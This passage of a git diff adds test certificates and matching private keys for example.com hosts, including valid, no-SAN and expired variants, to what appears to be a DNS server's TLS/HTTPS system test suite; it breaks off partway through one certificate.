diff --git a/bin/tests/system/doth/CA/certs/srv01.client03-ns2-expired.example.com.key b/bin/tests/system/doth/CA/certs/srv01.client03-ns2-expired.example.com.key
new file mode 100644
index 0000000000..5d3d283d09
--- /dev/null
+++ b/bin/tests/system/doth/CA/certs/srv01.client03-ns2-expired.example.com.key
@@ -0,0 +1,6 @@
+-----BEGIN PRIVATE KEY-----
+MIG2AgEAMBAGByqGSM49AgEGBSuBBAAiBIGeMIGbAgEBBDCQvnl9FD/mrb+KQaC8
+VMhKW2sxrYFHhZnUYBc3Luz/X3vECNVqLVc5asLu+NrkioyhZANiAAQ4mpvCaoKm
+0VCKeHrRvmG+1LbT1qICl6RIUMDFHdgtIxklbpECHWnCd9bxqE9Kmh08aVqJQQry
+4GRXGw6e359MezxC3CHILJWrs0xfVsRw7oqk5EbEnpj1yHuyc9dFk/A=
+-----END PRIVATE KEY-----
diff --git a/bin/tests/system/doth/CA/certs/srv01.client03-ns2-expired.example.com.pem b/bin/tests/system/doth/CA/certs/srv01.client03-ns2-expired.example.com.pem
new file mode 100644
index 0000000000..99e4a71e33
--- /dev/null
+++ b/bin/tests/system/doth/CA/certs/srv01.client03-ns2-expired.example.com.pem
@@ -0,0 +1,69 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 7760573232607207433 (0x6bb3183cdef52009)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Aug 14 05:00:00 2012 GMT
+            Not After : Aug 14 06:00:00 2012 GMT
+        Subject: CN=srv01.client03-ns2-expired.example.com
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:38:9a:9b:c2:6a:82:a6:d1:50:8a:78:7a:d1:be:
+                    61:be:d4:b6:d3:d6:a2:02:97:a4:48:50:c0:c5:1d:
+                    d8:2d:23:19:25:6e:91:02:1d:69:c2:77:d6:f1:a8:
+                    4f:4a:9a:1d:3c:69:5a:89:41:0a:f2:e0:64:57:1b:
+                    0e:9e:df:9f:4c:7b:3c:42:dc:21:c8:2c:95:ab:b3:
+                    4c:5f:56:c4:70:ee:8a:a4:e4:46:c4:9e:98:f5:c8:
+                    7b:b2:73:d7:45:93:f0
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv01.client03-ns2-expired.example.com
+    Signature Algorithm: sha256WithRSAEncryption
+         38:12:1f:5f:26:b6:8e:9b:3f:77:89:5a:b8:e8:46:78:c3:d6:
+         f0:0c:67:5f:d5:a3:9c:f6:f2:0a:ae:9c:87:74:9f:a3:5b:8a:
+         27:58:47:e5:78:1a:e9:db:b5:cc:28:a7:f8:18:e3:e7:20:43:
+         cf:82:06:5d:a1:d0:82:ab:15:be:86:46:1e:e6:4d:ad:78:a4:
+         16:6c:99:41:3d:29:21:c8:6b:9d:3d:4a:cd:93:37:1f:1c:88:
+         c7:ae:b6:7c:73:42:57:57:32:9d:e8:c6:e2:3e:da:12:57:3e:
+         c8:56:4a:bb:d4:01:fc:8e:30:8d:19:fe:61:3d:5e:02:64:65:
+         a2:46:b3:6e:ea:f9:cb:4e:f0:b9:f6:bc:6b:38:10:19:d0:93:
+         f8:f7:d9:4c:d2:87:2c:7f:dc:f5:00:c6:29:dd:00:5e:d2:f4:
+         df:52:fb:7a:5a:ad:98:36:77:72:1f:01:ed:48:91:48:16:2d:
+         35:a5:15:21:98:ff:7e:5d:a1:45:c9:5f:9d:c2:3e:e5:98:e2:
+         ee:ce:4d:18:76:3d:8a:0a:64:9b:f1:19:9d:b6:82:af:1b:15:
+         d3:48:69:f1:9b:67:76:1b:41:8e:1d:69:d5:31:64:95:01:41:
+         73:c1:a9:29:53:6b:f3:29:ad:e0:96:52:8e:3e:8d:c1:8e:d8:
+         b5:0c:94:5f:a2:6c:3c:0f:3e:5b:10:af:21:00:74:d0:b7:30:
+         6c:44:fb:3d:09:46:8d:1d:e6:c2:e4:0a:5b:f4:eb:e1:71:c7:
+         d5:36:13:90:05:fe:65:16:61:24:b5:41:f2:10:bd:2c:c3:34:
+         69:15:25:d1:32:f2:b3:d7:da:23:1b:e9:5b:33:63:43:c8:dc:
+         68:f2:31:b5:93:0e:64:ea:9a:45:36:9f:96:44:38:1e:4e:d8:
+         45:ba:37:68:06:4d:da:d4:16:d3:3e:77:86:4e:8d:58:d6:06:
+         a8:60:11:4d:d9:81:f3:85:2b:ee:58:50:6e:ea:2b:f7:84:00:
+         9c:ec:a1:90:d4:94
+-----BEGIN CERTIFICATE-----
+MIIDNzCCAZ+gAwIBAgIIa7MYPN71IAkwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMB4XDTEyMDgxNDA1MDAwMFoXDTEyMDgxNDA2
+MDAwMFowMTEvMC0GA1UEAwwmc3J2MDEuY2xpZW50MDMtbnMyLWV4cGlyZWQuZXhh
+bXBsZS5jb20wdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQ4mpvCaoKm0VCKeHrRvmG+
+1LbT1qICl6RIUMDFHdgtIxklbpECHWnCd9bxqE9Kmh08aVqJQQry4GRXGw6e359M
+ezxC3CHILJWrs0xfVsRw7oqk5EbEnpj1yHuyc9dFk/CjNTAzMDEGA1UdEQQqMCiC
+JnNydjAxLmNsaWVudDAzLW5zMi1leHBpcmVkLmV4YW1wbGUuY29tMA0GCSqGSIb3
+DQEBCwUAA4IBgQA4Eh9fJraOmz93iVq46EZ4w9bwDGdf1aOc9vIKrpyHdJ+jW4on
+WEfleBrp27XMKKf4GOPnIEPPggZdodCCqxW+hkYe5k2teKQWbJlBPSkhyGudPUrN
+kzcfHIjHrrZ8c0JXVzKd6MbiPtoSVz7IVkq71AH8jjCNGf5hPV4CZGWiRrNu6vnL
+TvC59rxrOBAZ0JP499lM0ocsf9z1AMYp3QBe0vTfUvt6Wq2YNndyHwHtSJFIFi01
+pRUhmP9+XaFFyV+dwj7lmOLuzk0Ydj2KCmSb8RmdtoKvGxXTSGnxm2d2G0GOHWnV
+MWSVAUFzwakpU2vzKa3gllKOPo3Bjti1DJRfomw8Dz5bEK8hAHTQtzBsRPs9CUaN
+HebC5Apb9OvhccfVNhOQBf5lFmEktUHyEL0swzRpFSXRMvKz19ojG+lbM2NDyNxo
+8jG1kw5k6ppFNp+WRDgeTthFujdoBk3a1BbTPneGTo1Y1gaoYBFN2YHzhSvuWFBu
+6iv3hACc7KGQ1JQ=
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/doth/CA/certs/srv01.crt01.example.com.key b/bin/tests/system/doth/CA/certs/srv01.crt01.example.com.key
new file mode 100644
index 0000000000..a4194bd684
--- /dev/null
+++ b/bin/tests/system/doth/CA/certs/srv01.crt01.example.com.key
@@ -0,0 +1,6 @@
+-----BEGIN PRIVATE KEY-----
+MIG2AgEAMBAGByqGSM49AgEGBSuBBAAiBIGeMIGbAgEBBDB/BdYjkgkVy4gTuXX3
+20DWo80uWsQkKDwMeOoaQ2cYy5Cm2AdTALDdBihGKRfACPqhZANiAAQSoXsPefIp
+9Y9qBtAogxRDjxlMKZE2MA8GplbnV5tYLJ78nKNO9uNvkEDVCf2Ulo4UaHRv6Ken
+q4w1lvLWj12XXdG5IlvvMRWh4ettb6+xL4Dlpak48m/5ZRRwp6Ws4Ro=
+-----END PRIVATE KEY-----
diff --git a/bin/tests/system/doth/CA/certs/srv01.crt01.example.com.pem b/bin/tests/system/doth/CA/certs/srv01.crt01.example.com.pem
new file mode 100644
index 0000000000..8671dd3a77
--- /dev/null
+++ b/bin/tests/system/doth/CA/certs/srv01.crt01.example.com.pem
@@ -0,0 +1,69 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 7760573232607207425 (0x6bb3183cdef52001)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Feb  8 17:18:52 2022 GMT
+            Not After : Feb  1 17:18:52 2052 GMT
+        Subject: CN=srv01.crt01.example.com
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:12:a1:7b:0f:79:f2:29:f5:8f:6a:06:d0:28:83:
+                    14:43:8f:19:4c:29:91:36:30:0f:06:a6:56:e7:57:
+                    9b:58:2c:9e:fc:9c:a3:4e:f6:e3:6f:90:40:d5:09:
+                    fd:94:96:8e:14:68:74:6f:e8:a7:a7:ab:8c:35:96:
+                    f2:d6:8f:5d:97:5d:d1:b9:22:5b:ef:31:15:a1:e1:
+                    eb:6d:6f:af:b1:2f:80:e5:a5:a9:38:f2:6f:f9:65:
+                    14:70:a7:a5:ac:e1:1a
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv01.crt01.example.com, IP Address:10.53.0.1, IP Address:FD92:7065:B8E:FFFF:0:0:0:1
+    Signature Algorithm: sha256WithRSAEncryption
+         79:0f:08:ab:18:cc:f9:7a:bd:47:21:99:a1:a3:76:04:7f:d7:
+         08:33:91:49:3d:2d:fc:8d:ff:c5:c1:8d:b8:70:05:65:32:cd:
+         e2:26:21:49:19:66:a2:94:4f:42:7d:83:3c:4f:ed:c1:87:89:
+         5b:73:2c:64:64:67:29:f5:73:83:23:72:b7:a8:2e:d6:9a:de:
+         13:0c:ba:35:d3:38:b1:c4:51:7d:81:fc:25:ca:a6:d9:d2:fa:
+         bb:6d:1f:a4:61:90:50:2d:8a:ed:70:1a:eb:56:2f:fc:7b:f3:
+         76:df:68:8d:e8:a4:7d:82:b9:5c:c6:cb:d8:06:f7:78:dc:a7:
+         94:35:d4:83:98:28:51:36:1c:73:47:e4:5b:32:d2:cd:de:1c:
+         44:f6:de:37:8a:46:d0:14:8d:71:e5:10:22:b1:f9:73:f7:1b:
+         4f:82:e1:a1:00:73:18:17:71:a2:bf:a2:0c:59:aa:43:58:46:
+         82:f8:38:c4:5a:5a:9f:13:d7:a9:54:1f:58:9b:5d:52:16:d3:
+         a0:ba:6b:aa:cf:68:3a:d1:12:9c:94:ac:78:6b:7e:bc:69:6c:
+         75:07:5d:fb:68:cd:e8:8d:bb:8c:b0:7c:6c:9e:f6:a5:7c:32:
+         74:ef:c5:b1:1f:1d:ec:7b:2f:79:c0:3b:52:60:9b:48:89:09:
+         b4:46:34:69:d3:7b:1b:15:ef:0c:dd:64:1d:58:fe:a7:0b:b1:
+         9d:28:1f:1e:9e:3c:c0:b1:a6:38:ab:9d:54:24:0e:75:6c:9e:
+         90:13:b9:39:dc:43:fe:37:e3:14:0f:78:7e:2b:56:a2:d2:60:
+         51:57:88:3b:4c:cf:24:67:36:77:21:bb:c8:07:eb:48:f7:b0:
+         1e:e4:99:61:84:15:bb:61:3a:21:55:df:31:43:67:73:8f:6b:
+         e9:04:83:be:2d:8b:94:39:89:cf:40:d5:04:f7:6b:c9:c6:8c:
+         6e:36:0f:5d:7a:9b:57:86:36:76:2c:75:35:47:50:ed:9a:84:
+         7e:37:83:b5:21:a2
+-----BEGIN CERTIFICATE-----
+MIIDMzCCAZugAwIBAgIIa7MYPN71IAEwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDIwODE3MTg1MloYDzIwNTIwMjAx
+MTcxODUyWjAiMSAwHgYDVQQDDBdzcnYwMS5jcnQwMS5leGFtcGxlLmNvbTB2MBAG
+ByqGSM49AgEGBSuBBAAiA2IABBKhew958in1j2oG0CiDFEOPGUwpkTYwDwamVudX
+m1gsnvyco07242+QQNUJ/ZSWjhRodG/op6erjDWW8taPXZdd0bkiW+8xFaHh621v
+r7EvgOWlqTjyb/llFHCnpazhGqM+MDwwOgYDVR0RBDMwMYIXc3J2MDEuY3J0MDEu
+ZXhhbXBsZS5jb22HBAo1AAGHEP2ScGULjv//AAAAAAAAAAEwDQYJKoZIhvcNAQEL
+BQADggGBAHkPCKsYzPl6vUchmaGjdgR/1wgzkUk9LfyN/8XBjbhwBWUyzeImIUkZ
+ZqKUT0J9gzxP7cGHiVtzLGRkZyn1c4MjcreoLtaa3hMMujXTOLHEUX2B/CXKptnS
++rttH6RhkFAtiu1wGutWL/x783bfaI3opH2CuVzGy9gG93jcp5Q11IOYKFE2HHNH
+5Fsy0s3eHET23jeKRtAUjXHlECKx+XP3G0+C4aEAcxgXcaK/ogxZqkNYRoL4OMRa
+Wp8T16lUH1ibXVIW06C6a6rPaDrREpyUrHhrfrxpbHUHXftozeiNu4ywfGye9qV8
+MnTvxbEfHex7L3nAO1Jgm0iJCbRGNGnTexsV7wzdZB1Y/qcLsZ0oHx6ePMCxpjir
+nVQkDnVsnpATuTncQ/434xQPeH4rVqLSYFFXiDtMzyRnNnchu8gH60j3sB7kmWGE
+FbthOiFV3zFDZ3OPa+kEg74ti5Q5ic9A1QT3a8nGjG42D116m1eGNnYsdTVHUO2a
+hH43g7Uhog==
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/doth/CA/certs/srv01.crt02-no-san.example.com.key b/bin/tests/system/doth/CA/certs/srv01.crt02-no-san.example.com.key
new file mode 100644
index 0000000000..db770c1dbc
--- /dev/null
+++ b/bin/tests/system/doth/CA/certs/srv01.crt02-no-san.example.com.key
@@ -0,0 +1,6 @@
+-----BEGIN PRIVATE KEY-----
+MIG2AgEAMBAGByqGSM49AgEGBSuBBAAiBIGeMIGbAgEBBDC3sc7RaI9GyH5Z1e0D
+WcccNjr43zpavmMqA8bcS9dBBjkiEdvGH47r3EIXTjp0f46hZANiAASjLTP9kpDc
+A+82+aSokPFHab7ojmUI2uWzgmMcr5o3tHV8zkb7GRe8kHJPdLZFOfeWs0SFHK1q
+26R2hu6OJz33YXjf4QSK65GLAWe2aTJUUBxWhtov7+Q9lLr3WwIUtRM=
+-----END PRIVATE KEY-----
diff --git a/bin/tests/system/doth/CA/certs/srv01.crt02-no-san.example.com.pem b/bin/tests/system/doth/CA/certs/srv01.crt02-no-san.example.com.pem
new file mode 100644
index 0000000000..65f0f9ff18
--- /dev/null
+++ b/bin/tests/system/doth/CA/certs/srv01.crt02-no-san.example.com.pem
@@ -0,0 +1,64 @@
+Certificate:
+    Data:
+        Version: 1 (0x0)
+        Serial Number: 7760573232607207426 (0x6bb3183cdef52002)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Feb  8 17:21:43 2022 GMT
+            Not After : Feb  1 17:21:43 2052 GMT
+        Subject: CN=srv01.crt02-no-san.example.com
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:a3:2d:33:fd:92:90:dc:03:ef:36:f9:a4:a8:90:
+                    f1:47:69:be:e8:8e:65:08:da:e5:b3:82:63:1c:af:
+                    9a:37:b4:75:7c:ce:46:fb:19:17:bc:90:72:4f:74:
+                    b6:45:39:f7:96:b3:44:85:1c:ad:6a:db:a4:76:86:
+                    ee:8e:27:3d:f7:61:78:df:e1:04:8a:eb:91:8b:01:
+                    67:b6:69:32:54:50:1c:56:86:da:2f:ef:e4:3d:94:
+                    ba:f7:5b:02:14:b5:13
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+    Signature Algorithm: sha256WithRSAEncryption
+         07:20:2a:a6:7a:52:52:ba:1e:b7:79:cf:e6:11:9c:ca:3f:43:
+         2b:f3:d7:2e:74:74:57:81:a1:aa:e6:68:c9:fd:d1:a8:a6:5b:
+         a2:ff:ea:f7:f0:b7:46:dc:a0:5a:64:5f:ce:e7:0f:76:63:14:
+         6d:c2:51:4b:30:ea:51:7e:4a:1b:d3:b2:f8:c2:3d:3f:c1:bf:
+         ad:db:4d:f8:28:31:e7:75:ae:84:37:90:00:e5:0b:6b:dc:23:
+         98:69:d5:ef:ce:e2:0d:e7:19:f1:31:01:1f:2a:6c:23:a3:94:
+         62:7a:bf:b3:b0:13:d0:62:fc:a5:a6:0d:52:bb:f4:31:ff:f3:
+         ce:3a:74:66:30:7f:29:04:8d:34:90:7a:9b:8f:da:82:2e:5c:
+         81:dd:af:fa:3a:a1:4e:bb:0a:4c:62:01:40:39:67:9c:29:27:
+         6e:2f:76:81:2d:33:68:ee:ee:ed:00:7f:12:7a:af:43:00:7b:
+         2d:34:8a:26:9a:66:1c:e5:96:17:7c:f8:6d:1e:8c:17:39:ce:
+         4f:0b:9e:40:72:e1:5e:33:3f:9e:84:b5:07:f5:ab:58:d7:37:
+         ed:d0:29:ad:ce:02:0d:fa:6f:96:a9:0e:6c:6e:32:d2:dc:11:
+         23:a3:4a:60:54:b4:98:31:db:8f:4b:4c:58:64:39:4f:ff:27:
+         d0:02:e5:cc:b2:17:e8:46:dc:aa:cb:dc:3d:ed:14:52:ec:6d:
+         a6:cd:04:2f:fd:54:16:6c:7e:63:34:17:f1:1d:b8:37:dd:20:
+         6c:f6:21:19:6f:bb:62:dd:bc:6c:41:34:ad:b1:90:eb:2a:e0:
+         63:ea:70:60:6a:02:e8:fe:46:51:b1:9d:3c:54:54:73:25:b7:
+         41:d1:4c:34:aa:88:48:b8:01:21:ae:d8:d3:06:38:05:65:78:
+         e7:38:f0:f6:e6:2e:61:c0:42:5e:3b:09:59:eb:09:48:4d:55:
+         7c:af:f4:de:c1:09:a0:b4:60:f7:9e:a2:d5:46:fc:05:61:69:
+         e0:c1:2d:26:dc:42
+-----BEGIN CERTIFICATE-----
+MIIC9TCCAV0CCGuzGDze9SACMA0GCSqGSIb3DQEBCwUAMH0xCzAJBgNVBAYTAlVB
+MRgwFgYDVQQIDA9LaGFya2l2IE9ibGFzdCcxEDAOBgNVBAcMB0toYXJraXYxJDAi
+BgNVBAoMG0ludGVybmV0IFN5c3RlbXMgQ29uc29ydGl1bTEcMBoGA1UEAwwTY2Eu
+dGVzdC5leGFtcGxlLmNvbTAgFw0yMjAyMDgxNzIxNDNaGA8yMDUyMDIwMTE3MjE0
+M1owKTEnMCUGA1UEAwwec3J2MDEuY3J0MDItbm8tc2FuLmV4YW1wbGUuY29tMHYw
+EAYHKoZIzj0CAQYFK4EEACIDYgAEoy0z/ZKQ3APvNvmkqJDxR2m+6I5lCNrls4Jj
+HK+aN7R1fM5G+xkXvJByT3S2RTn3lrNEhRytatukdobujic992F43+EEiuuRiwFn
+tmkyVFAcVobaL+/kPZS691sCFLUTMA0GCSqGSIb3DQEBCwUAA4IBgQAHICqmelJS
+uh63ec/mEZzKP0Mr89cudHRXgaGq5mjJ/dGoplui/+r38LdG3KBaZF/O5w92YxRt
+wlFLMOpRfkob07L4wj0/wb+t2034KDHnda6EN5AA5Qtr3COYadXvzuIN5xnxMQEf
+Kmwjo5Rier+zsBPQYvylpg1Su/Qx//POOnRmMH8pBI00kHqbj9qCLlyB3a/6OqFO
+uwpMYgFAOWecKSduL3aBLTNo7u7tAH8Seq9DAHstNIommmYc5ZYXfPhtHowXOc5P
+C55AcuFeMz+ehLUH9atY1zft0CmtzgIN+m+WqQ5sbjLS3BEjo0pgVLSYMduPS0xY
+ZDlP/yfQAuXMshfoRtyqy9w97RRS7G2mzQQv/VQWbH5jNBfxHbg33SBs9iEZb7ti
+3bxsQTStsZDrKuBj6nBgagLo/kZRsZ08VFRzJbdB0Uw0qohIuAEhrtjTBjgFZXjn
+OPD25i5hwEJeOwlZ6wlITVV8r/TewQmgtGD3nqLVRvwFYWngwS0m3EI=
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/doth/CA/certs/srv01.crt03-expired.example.com.key b/bin/tests/system/doth/CA/certs/srv01.crt03-expired.example.com.key
new file mode 100644
index 0000000000..caef1f0a89
--- /dev/null
+++ b/bin/tests/system/doth/CA/certs/srv01.crt03-expired.example.com.key
@@ -0,0 +1,6 @@
+-----BEGIN PRIVATE KEY-----
+MIG2AgEAMBAGByqGSM49AgEGBSuBBAAiBIGeMIGbAgEBBDAtAQNSdzyxR3sm6gyx
+2Ob3SNCsYvdsE6+gobSUJWYbdus0CCFBIN6Qpms9oc0hAgqhZANiAAQf1Xurc7Jw
+Ff0zJgJcdhaADHB9V4N1rDy3SgJGNcEbwXq9vvIEmn9pg39UmhsQYtdwve8mkFFQ
+EHdWtxovRF6RRjbhLqRMZy5iqH8aFRBEaIsY6s+4lgm/tTrR7xCPn7s=
+-----END PRIVATE KEY-----
diff --git a/bin/tests/system/doth/CA/certs/srv01.crt03-expired.example.com.pem b/bin/tests/system/doth/CA/certs/srv01.crt03-expired.example.com.pem
new file mode 100644
index 0000000000..4befde4237
--- /dev/null
+++ b/bin/tests/system/doth/CA/certs/srv01.crt03-expired.example.com.pem
@@ -0,0 +1,69 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 7760573232607207430 (0x6bb3183cdef52006)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Aug 15 08:00:00 2012 GMT
+            Not After : Aug 15 09:00:00 2012 GMT
+        Subject: CN=srv01.crt03-expired.example.com
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:1f:d5:7b:ab:73:b2:70:15:fd:33:26:02:5c:76:
+                    16:80:0c:70:7d:57:83:75:ac:3c:b7:4a:02:46:35:
+                    c1:1b:c1:7a:bd:be:f2:04:9a:7f:69:83:7f:54:9a:
+                    1b:10:62:d7:70:bd:ef:26:90:51:50:10:77:56:b7:
+                    1a:2f:44:5e:91:46:36:e1:2e:a4:4c:67:2e:62:a8:
+                    7f:1a:15:10:44:68:8b:18:ea:cf:b8:96:09:bf:b5:
+                    3a:d1:ef:10:8f:9f:bb
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv01.crt03-expired.example.com, IP Address:10.53.0.1, IP Address:FD92:7065:B8E:FFFF:0:0:0:1
+    Signature Algorithm: sha256WithRSAEncryption
+         25:35:08:f6:e7:f0:83:81:be:65:31:1b:78:a8:04:84:fe:6a:
+         2a:1a:5d:c1:73:20:88:08:11:d8:27:be:a5:8e:3c:df:e2:a6:
+         19:c5:41:40:ea:01:91:85:99:8d:17:4e:4d:9a:3c:03:f9:78:
+         4c:8a:20:41:5e:96:d6:64:83:2f:b2:fe:e7:77:09:f9:91:bd:
+         22:1a:57:8b:f6:24:bc:7b:48:2b:2e:14:b7:32:bd:46:91:99:
+         5e:21:9a:d3:15:a7:27:e1:c0:3a:c7:f5:f9:94:3f:6d:14:7e:
+         0b:02:bf:05:d9:ac:10:8a:7e:b0:37:36:cd:cb:4a:b4:e1:01:
+         c7:04:8d:83:f3:c6:79:ff:ff:6c:f0:a4:bf:3c:12:61:ea:15:
+         ac:30:62:26:e3:c3:4e:7d:5c:68:d8:88:de:35:8d:44:75:8c:
+         a8:c1:0d:07:67:b5:d0:42:43:41:1f:39:a0:47:35:46:d7:0f:
+         89:aa:e8:d3:86:45:9a:fb:33:01:06:23:64:53:24:48:5b:69:
+         fa:cf:d9:81:fb:5e:7e:7b:82:65:56:c6:46:65:5c:e1:4f:f2:
+         3c:09:3c:28:5f:c9:e3:a5:24:e3:7b:aa:b5:b1:8a:6a:b2:02:
+         32:5f:24:05:f1:67:c8:54:17:0c:cd:ca:3d:e4:44:3e:23:3a:
+         7c:63:b6:f9:61:3a:21:e7:8f:27:ad:c3:26:86:39:49:6c:41:
+         40:7f:1d:48:69:8d:db:6f:42:e4:09:fe:24:62:bd:8e:2e:54:
+         25:f0:14:c2:d8:43:95:09:2e:5f:72:4f:43:b5:9a:8b:bb:8c:
+         44:c6:77:c9:05:fb:1a:9f:d7:b6:a6:42:d9:5c:3d:a5:09:0f:
+         9e:e0:c7:06:32:f1:ff:c9:53:5e:42:d4:2a:33:ad:06:ea:ec:
+         b0:26:d3:3c:ef:65:af:15:8e:7b:20:49:ad:f1:56:ef:17:6b:
+         fc:f4:d8:7c:82:9f:30:19:d0:bc:9c:79:e2:dc:9d:a7:f9:6b:
+         6f:65:ae:21:a0:94
+-----BEGIN CERTIFICATE-----
+MIIDQTCCAamgAwIBAgIIa7MYPN71IAYwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMB4XDTEyMDgxNTA4MDAwMFoXDTEyMDgxNTA5
+MDAwMFowKjEoMCYGA1UEAwwfc3J2MDEuY3J0MDMtZXhwaXJlZC5leGFtcGxlLmNv
+bTB2MBAGByqGSM49AgEGBSuBBAAiA2IABB/Ve6tzsnAV/TMmAlx2FoAMcH1Xg3Ws
+PLdKAkY1wRvBer2+8gSaf2mDf1SaGxBi13C97yaQUVAQd1a3Gi9EXpFGNuEupExn
+LmKofxoVEERoixjqz7iWCb+1OtHvEI+fu6NGMEQwQgYDVR0RBDswOYIfc3J2MDEu
+Y3J0MDMtZXhwaXJlZC5leGFtcGxlLmNvbYcECjUAAYcQ/ZJwZQuO//8AAAAAAAAA
+ATANBgkqhkiG9w0BAQsFAAOCAYEAJTUI9ufwg4G+ZTEbeKgEhP5qKhpdwXMgiAgR
+2Ce+pY483+KmGcVBQOoBkYWZjRdOTZo8A/l4TIogQV6W1mSDL7L+53cJ+ZG9IhpX
+i/YkvHtIKy4UtzK9RpGZXiGa0xWnJ+HAOsf1+ZQ/bRR+CwK/BdmsEIp+sDc2zctK
+tOEBxwSNg/PGef//bPCkvzwSYeoVrDBiJuPDTn1caNiI3jWNRHWMqMENB2e10EJD
+QR85oEc1RtcPiaro04ZFmvszAQYjZFMkSFtp+s/ZgftefnuCZVbGRmVc4U/yPAk8
+KF/J46Uk43uqtbGKarICMl8kBfFnyFQXDM3KPeREPiM6fGO2+WE6IeePJ63DJoY5
+SWxBQH8dSGmN229C5An+JGK9ji5UJfAUwthDlQkuX3JPQ7Wai7uMRMZ3yQX7Gp/X
+tqZC2Vw9pQkPnuDHBjLx/8lTXkLUKjOtBurssCbTPO9lrxWOeyBJrfFW7xdr/PTY
+fIKfMBnQvJx54tydp/lrb2WuIaCU
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/doth/CA/certs/srv02.crt01.example.com.key b/bin/tests/system/doth/CA/certs/srv02.crt01.example.com.key
new file mode 100644
index 0000000000..cf495c1c95
--- /dev/null
+++ b/bin/tests/system/doth/CA/certs/srv02.crt01.example.com.key
@@ -0,0 +1,6 @@
+-----BEGIN PRIVATE KEY-----
+MIG2AgEAMBAGByqGSM49AgEGBSuBBAAiBIGeMIGbAgEBBDC/rdGBnhOuZ8hc7fUO
+6v0LO2xd2LMjTS0TCb0pVwsccYN/f6OxWJtu0uGSt0DaN6ihZANiAARD1PvMuIhg
+lRaqKtAxlss+qFzkdqzBv807ZYW7LMv6w0g8g8gI7txZFZciuEIXjHUJ+T62nPLF
+2122impDSAqi3RPCNuRzs2RUebv41H5I9AW+DHdjAf5PMLCqYrzy7fk=
+-----END PRIVATE KEY-----
diff --git a/bin/tests/system/doth/CA/certs/srv02.crt01.example.com.pem b/bin/tests/system/doth/CA/certs/srv02.crt01.example.com.pem
new file mode 100644
index 0000000000..d061c2c754
--- /dev/null
+++ b/bin/tests/system/doth/CA/certs/srv02.crt01.example.com.pem
@@ -0,0 +1,69 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 7760573232607207427 (0x6bb3183cdef52003)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Feb  8 17:57:59 2022 GMT
+            Not After : Feb  1 17:57:59 2052 GMT
+        Subject: CN=srv02.crt01.example.com
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:43:d4:fb:cc:b8:88:60:95:16:aa:2a:d0:31:96:
+                    cb:3e:a8:5c:e4:76:ac:c1:bf:cd:3b:65:85:bb:2c:
+                    cb:fa:c3:48:3c:83:c8:08:ee:dc:59:15:97:22:b8:
+                    42:17:8c:75:09:f9:3e:b6:9c:f2:c5:db:5d:b6:8a:
+                    6a:43:48:0a:a2:dd:13:c2:36:e4:73:b3:64:54:79:
+                    bb:f8:d4:7e:48:f4:05:be:0c:77:63:01:fe:4f:30:
+                    b0:aa:62:bc:f2:ed:f9
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
